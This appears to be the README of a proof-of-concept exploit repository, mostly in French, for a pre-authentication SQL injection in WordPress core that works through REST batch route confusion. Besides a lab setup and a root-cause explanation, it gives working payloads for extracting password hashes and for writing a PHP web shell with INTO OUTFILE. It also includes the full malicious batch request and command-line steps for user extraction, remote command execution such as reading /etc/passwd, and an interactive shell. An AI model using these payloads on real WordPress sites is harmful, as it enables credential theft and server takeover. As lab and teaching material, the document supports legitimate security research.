PoC pédagogique + laboratoire pour CVE-2026-63030 + CVE-2026-60137 : SQLi avant authentification dans le noyau de WordPress via confusion de routes par lots REST
PoC éducatif et laboratoire pour CVE-2026-63030 + CVE-2026-60137 : injection SQL pré-authentification dans le cœur de WordPress via une confusion de route du batch REST.
Découvert par Adam Kues (Searchlight Cyber / Assetnote). Corrigé dans WordPress 6.9.5 / 7.0.2.
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..
# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli
# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users
# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint
# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"
# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i # interactive shell
# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080
# tear down
cd docker && ./setup.sh down
POST /wp-json/batch/v1 regroupe plusieurs appels d'API REST dans une seule requête HTTP. Il ne possède aucun contrôle d'authentification propre. La sécurité est déléguée au callback de permission de chaque sous-requête.
serve_batch_request_v1() construit deux tableaux parallèles :
$matches[] suit quel handler doit dispatcher chaque sous-requête$validation[] suit si chaque sous-requête a réussi la validationIl indexe les deux par le même offset lors du dispatch. Le bug : lorsque le chemin d'une sous-requête échoue à wp_parse_url(), un WP_Error est poussé dans $validation mais pas dans $matches. Cela décale $matches d'un cran, de sorte que chaque sous-requête suivante est dispatchée vers le mauvais handler.
La désynchronisation est utilisée deux fois.
Batch externe. Une requête /wp/v2/posts portant un batch interne dans son corps est dispatchée sous le handler batch (auto-appel). Elle a été validée comme une requête posts, donc le tableau requests interne n'a jamais été vérifié par rapport au schéma du batch. Cela contourne la liste blanche des méthodes et permet aux sous-requêtes internes d'utiliser GET.
Batch interne. Une requête /wp/v2/categories?author_exclude=<SQLI> est dispatchée sous get_items() des posts. Le schéma des catégories ne définit pas author_exclude, elle passe donc la validation sans modification. Mais get_items() des posts la mappe vers WP_Query::author__not_in, où la valeur est interpolée brute dans le SQL.
Le code vulnérable de WP_Query ne nettoyait author__not_in que lorsqu'il s'agissait déjà d'un tableau :
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
$query_vars['author__not_in'] = array_map('absint', ...); // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) "; // raw interpolation
Une valeur de type chaîne contourne entièrement le contrôle is_array(). Le cast (array) l'enveloppe sans la nettoyer.
Lire la base de données (tous les sites affectés) :
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -
Oracle booléen : posts renvoyés = vrai, réponse vide = faux. Recherche binaire par caractère.
Écrire des fichiers (nécessite le privilège MySQL FILE, qui n'est pas celui par défaut de WordPress) :
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -
La requête HTTP réelle :
{
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"requests": [
{"method": "POST", "path": "http://"},
{"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
"body": {"name": "x", "orderby": false}},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1"}
]
}
Comment les tableaux se désalignent :
serve_batch_request_v1() traite les sous-requêtes en deux boucles. La première boucle valide chaque sous-requête et construit $matches[] et $validation[]. La deuxième boucle dispatche chaque sous-requête en utilisant $matches[$i] comme handler. Comme l'erreur de la requête d'amorçage est absente de $matches, la deuxième boucle associe chaque requête au mauvais handler.
POST /?rest_route=/batch/v1 (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /wp/v2/posts -> match: posts_handler |
| [2] POST /batch/v1 -> match: batch_handler |
| |
| $validation: [ error, OK(posts), OK(batch) ] |
| $matches: [ posts_handler, batch_handler ] |
| ^ |
| error skipped in $matches |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /posts uses $matches[1] = batch_handler |
| -> posts body executed as a nested batch |
| i=2: POST /batch uses $matches[2] = out of bounds |
| |
+--------------------------------------------------------------+
|
v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
| |
| Loop 1 (validate): |
| [0] "http://" -> wp_parse_url fails |
| [1] POST /categories -> match: categories_handler |
| [2] GET /wp/v2/posts -> match: posts_handler |
| |
| $validation: [ error, OK(cats), OK(posts) ] |
| $matches: [ categories_handler, posts_handler ] |
| |
| Loop 2 (dispatch): |
| i=0: error -> skip |
| i=1: POST /categories uses $matches[1] = posts_handler |
| -> categories request handled by posts get_items() |
| -> author_exclude not in cats schema, unsanitized |
| -> posts maps it to WP_Query::author__not_in |
| -> SQL INJECTION |
| |
+--------------------------------------------------------------+
Les PoC existants utilisent l'extraction booléenne aveugle : 1 bit par requête HTTP, environ 224 requêtes pour un hash de mot de passe. Ce dépôt combine deux techniques pour une extraction ~75x plus rapide.
Oracle X-WP-Total. WordPress ajoute SQL_CALC_FOUND_ROWS aux requêtes de posts et place le compte dans l'en-tête de réponse X-WP-Total. Les lignes UNION sont comptées au niveau SQL, même si PHP les filtre du corps de la réponse. Des UNION conditionnels encodent des bits individuels :
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0 -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0 -- bit 1
... -- bits 2-6
-- -
X-WP-Total = 0 signifie bit à 0, 1 signifie bit à 1. Sept sondes = un caractère ASCII complet.
Batch interne illimité. Le batch externe valide maxItems: 25 via son schéma. La confusion de route contourne cela : le batch interne s'exécute de manière récursive, sans vérification de taille. Les 7 sondes binaires pour plusieurs caractères tiennent dans une seule requête.
16 caractères x 7 bits = 112 sondes par requête. Un hash phpass de 34 caractères en ~3 requêtes au lieu de ~224.
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent
$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent
Uniquement pour des tests de sécurité autorisés et à des fins éducatives. À utiliser exclusivement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.